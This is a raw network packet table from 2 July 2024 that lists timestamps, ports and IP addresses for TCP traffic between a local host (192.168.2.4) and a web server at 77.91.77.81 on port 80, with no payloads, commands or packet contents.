Jul 2, 2024 15:26:27.018774986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018786907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.018809080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.019263029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.019279957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.019296885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.019325018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.019340992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.048614979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048650026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048665047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048748016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.048791885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048809052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048821926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.048911095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.048911095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.048911095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049072027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049082041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049102068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049118042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049144030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049300909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049312115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049348116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049458027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049474955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049490929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049500942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.049510002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049525976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.049551964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.065788031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.065838099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.065850973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.065926075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066040993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066052914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066067934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066080093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066082001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066087961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066116095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066368103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066378117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066395998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066407919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066414118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066432953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066454887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066699982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066709995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066725969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.066740036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.066761017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101047993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101078033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101088047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101252079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101262093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101279020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101320028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101484060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101495028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101510048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101522923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101522923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101541042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101743937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101753950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101785898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101942062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101953030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101969004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101977110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.101990938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.101999044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102004051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102014065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102020025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102032900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102032900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102047920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102055073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102061033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102073908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102082014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102107048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102864981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102874994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102890968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102900982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102910042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102921963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102925062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102931976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102948904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102950096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102962017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102967978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.102979898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102989912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.102994919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.103008032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103009939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.103017092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103044033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.103055954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.103943110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103955030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103971958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103984118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.103995085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104002953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104013920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104022026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104023933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104041100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104041100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104054928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104072094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104110003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104615927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104625940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104644060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104656935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104660034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104670048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104685068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104696989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104697943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104712009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104726076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104727983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104738951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104746103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104754925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.104772091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.104799986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105614901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105628014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105639935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105657101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105665922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105673075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105685949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105695009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105695009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105709076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105712891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105726957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105734110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105737925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105755091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.105758905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105777025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.105798960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106585979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106596947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106612921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106621981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106626034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106637001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106638908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106653929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106654882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106668949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106679916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106683016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106692076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106703043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106712103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106722116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.106726885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106748104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.106770992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107526064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107539892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107558966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107563972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107573032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107579947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107584000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107601881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107601881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107620955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107634068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107647896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.107669115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.107681990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.138509989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138576031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138588905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138663054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.138715029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138724089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138747931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138762951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.138827085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.138827085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.138827085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.138827085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.139122009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139134884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139148951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139163017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139175892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.139202118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.139456987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139467001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139483929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.139502048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.139523983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.154958963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.154970884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.154989958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155060053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155121088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155121088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155220032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155231953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155241966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155247927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155253887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155280113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155311108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155627012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155639887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155657053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155669928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155682087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.155689955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155699968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.155726910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.189907074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.189970970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.189986944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190146923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190167904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190187931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190201044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190213919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190215111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190248966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190629959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190639973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190656900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190671921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190684080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190690041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190691948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190702915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190716982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190716982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.190732956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.190757036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191113949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191124916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191143036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191152096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191155910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191169024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191169024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191183090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191184044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191196918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191205978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191232920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191710949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191720963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191736937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191750050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191759109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191761971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191775084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191777945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191787958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191798925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191806078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.191823006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.191837072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192425966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192435980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192456007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192462921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192467928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192477942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192488909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192497015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192502022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192513943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192522049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192524910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192534924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192538977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192547083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192557096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192558050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192574024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192576885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192589998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.192591906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192615032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.192636013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193416119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193434954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193445921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193460941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193471909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193473101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193487883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193495035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193499088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193511009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193516970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193531036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193535089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193543911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193557978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193562031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193571091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.193574905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.193598032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194394112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194403887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194421053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194433928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194443941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194446087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194459915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.194462061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.194474936 CEST	80	49744	77.91.77.81	192.168.2.4
